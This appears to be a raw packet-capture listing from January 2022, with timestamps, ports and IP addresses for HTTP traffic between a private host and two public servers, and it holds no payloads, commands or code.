Jan 14, 2022 21:04:56.499706984 CET	80	49768	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:56.780066967 CET	49770	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:56.797534943 CET	80	49770	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:56.797693968 CET	49770	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:56.797792912 CET	49770	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:56.798124075 CET	49770	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:56.815129995 CET	80	49770	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:56.815234900 CET	80	49770	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:56.918802023 CET	80	49770	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:56.918966055 CET	49770	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:56.919198990 CET	49770	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:56.936613083 CET	80	49770	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:57.215174913 CET	49771	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:57.232685089 CET	80	49771	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:57.232800961 CET	49771	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:57.233021975 CET	49771	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:57.233035088 CET	49771	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:57.251200914 CET	80	49771	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:57.251225948 CET	80	49771	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:57.353318930 CET	80	49771	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:57.353806019 CET	49771	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:57.356858969 CET	49771	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:57.375365973 CET	80	49771	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:57.387559891 CET	49772	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:57.404964924 CET	80	49772	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:57.405318975 CET	49772	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:57.405474901 CET	49772	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:57.405489922 CET	49772	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:57.423932076 CET	80	49772	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:57.526876926 CET	80	49772	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:57.526974916 CET	49772	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:57.527295113 CET	49772	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:57.544733047 CET	80	49772	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:57.825119972 CET	49773	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:57.843961000 CET	80	49773	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:57.844115973 CET	49773	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:57.844273090 CET	49773	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:57.844293118 CET	49773	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:57.862025023 CET	80	49773	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:57.968394041 CET	80	49773	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:57.968425035 CET	80	49773	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:57.968502998 CET	49773	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:57.968885899 CET	49773	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:57.986392975 CET	80	49773	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:57.987154007 CET	49774	80	192.168.2.5	185.186.142.166
Jan 14, 2022 21:04:58.044086933 CET	80	49774	185.186.142.166	192.168.2.5
Jan 14, 2022 21:04:58.551805019 CET	49774	80	192.168.2.5	185.186.142.166
Jan 14, 2022 21:04:58.608361959 CET	80	49774	185.186.142.166	192.168.2.5
Jan 14, 2022 21:04:59.114370108 CET	49774	80	192.168.2.5	185.186.142.166
Jan 14, 2022 21:04:59.170936108 CET	80	49774	185.186.142.166	192.168.2.5
Jan 14, 2022 21:04:59.209383011 CET	49775	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:59.228490114 CET	80	49775	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:59.228616953 CET	49775	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:59.228887081 CET	49775	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:59.228907108 CET	49775	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:59.248428106 CET	80	49775	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:59.348500013 CET	80	49775	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:59.352474928 CET	49775	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:59.352895021 CET	49775	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:59.370313883 CET	80	49775	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:59.686207056 CET	49776	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:59.703638077 CET	80	49776	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:59.703731060 CET	49776	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:59.703854084 CET	49776	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:59.703890085 CET	49776	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:59.721941948 CET	80	49776	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:59.844403982 CET	80	49776	8.209.70.0	192.168.2.5
Jan 14, 2022 21:04:59.847476006 CET	49776	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:59.847769022 CET	49776	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:04:59.865098953 CET	80	49776	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.177220106 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.194587946 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.194685936 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.194861889 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.253149986 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.295578957 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.295605898 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.295623064 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.295634985 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.295651913 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.295667887 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.295670033 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.295686007 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.295700073 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.295702934 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.295720100 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.295722008 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.295739889 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.295746088 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.295798063 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.312944889 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.334980011 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.335002899 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.335017920 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.335031033 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.335042953 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.335061073 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.335077047 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.335078001 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.335094929 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.335114002 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.335129976 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.335130930 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.335145950 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.335163116 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.335163116 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.335180998 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.335192919 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.335196972 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.335215092 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.335218906 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.335232973 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.335251093 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.335263968 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.335268021 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.335284948 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.335297108 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.335330009 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.352485895 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.352507114 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.352516890 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.352600098 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.374181986 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374208927 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374224901 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374242067 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374242067 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.374258995 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374268055 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.374275923 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374293089 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374309063 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374315023 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.374325037 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374341965 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374349117 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.374358892 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374377012 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374385118 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.374394894 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374411106 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374428034 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374438047 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.374444962 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374460936 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374463081 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.374479055 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374495029 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374511957 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374519110 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.374527931 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374545097 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374546051 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.374562025 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374573946 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.374577999 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374593973 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374607086 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.374613047 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374629974 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374646902 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374648094 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.374665022 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374670982 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.374680996 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374699116 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374715090 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374716043 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.374731064 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374748945 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374749899 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.374766111 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374769926 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.374783039 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374799967 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374805927 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.374814987 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374833107 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374838114 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.374850035 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.374883890 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.392174959 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.392195940 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.392214060 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.392227888 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.392247915 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.392276049 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.413537979 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.413590908 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.413634062 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.413640976 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.413672924 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.413686991 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.413714886 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.413757086 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.413768053 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.413795948 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.413837910 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.413894892 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.413921118 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.413959980 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.413969994 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.414000034 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414041042 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414055109 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.414078951 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414119005 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414160013 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414170027 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.414197922 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414208889 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.414238930 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414278984 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414319038 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414334059 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.414360046 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414371014 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.414398909 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414442062 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414482117 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414493084 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.414520025 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414530039 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.414558887 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414598942 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414640903 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414645910 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.414681911 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414684057 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.414721012 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414761066 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414799929 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414805889 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.414838076 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414853096 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.414876938 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414916992 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414957047 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.414962053 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.414997101 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.415002108 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.415035009 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.415075064 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.415115118 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.415119886 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.415152073 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.415157080 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.415191889 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.415231943 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.415271997 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.415286064 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.415313005 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.415323973 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.415350914 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.415390968 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.415432930 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.415443897 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.415469885 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.415474892 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.434354067 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.434397936 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.434425116 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.434441090 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.434483051 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.434484959 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.434523106 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.434562922 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.434576035 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.434604883 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.434643984 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.434684992 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.434705973 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.434726954 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.434737921 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.434768915 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.434811115 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.434849977 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.434859991 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.434890032 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.434920073 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.434950113 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.434979916 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435020924 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435031891 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.435060978 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435065031 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.435100079 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435138941 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435175896 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435187101 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.435214996 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435220003 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.435252905 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435292006 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435331106 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435343981 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.435369015 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435379028 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.435408115 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435451031 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435488939 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435516119 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.435527086 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435554981 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.435564995 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435604095 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435615063 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.435643911 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435682058 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435720921 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435728073 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.435762882 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435765982 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.435798883 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435837984 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435868025 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.435894966 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.435921907 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.452677965 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.452740908 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.452783108 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.452822924 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.452840090 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.452852011 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.452881098 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.452896118 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.452935934 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.452989101 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453008890 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.453030109 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453043938 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.453066111 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453170061 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453210115 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453221083 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.453250885 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453253984 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.453289986 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453327894 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453366041 CET	80	49779	8.209.70.0	192.168.2.5
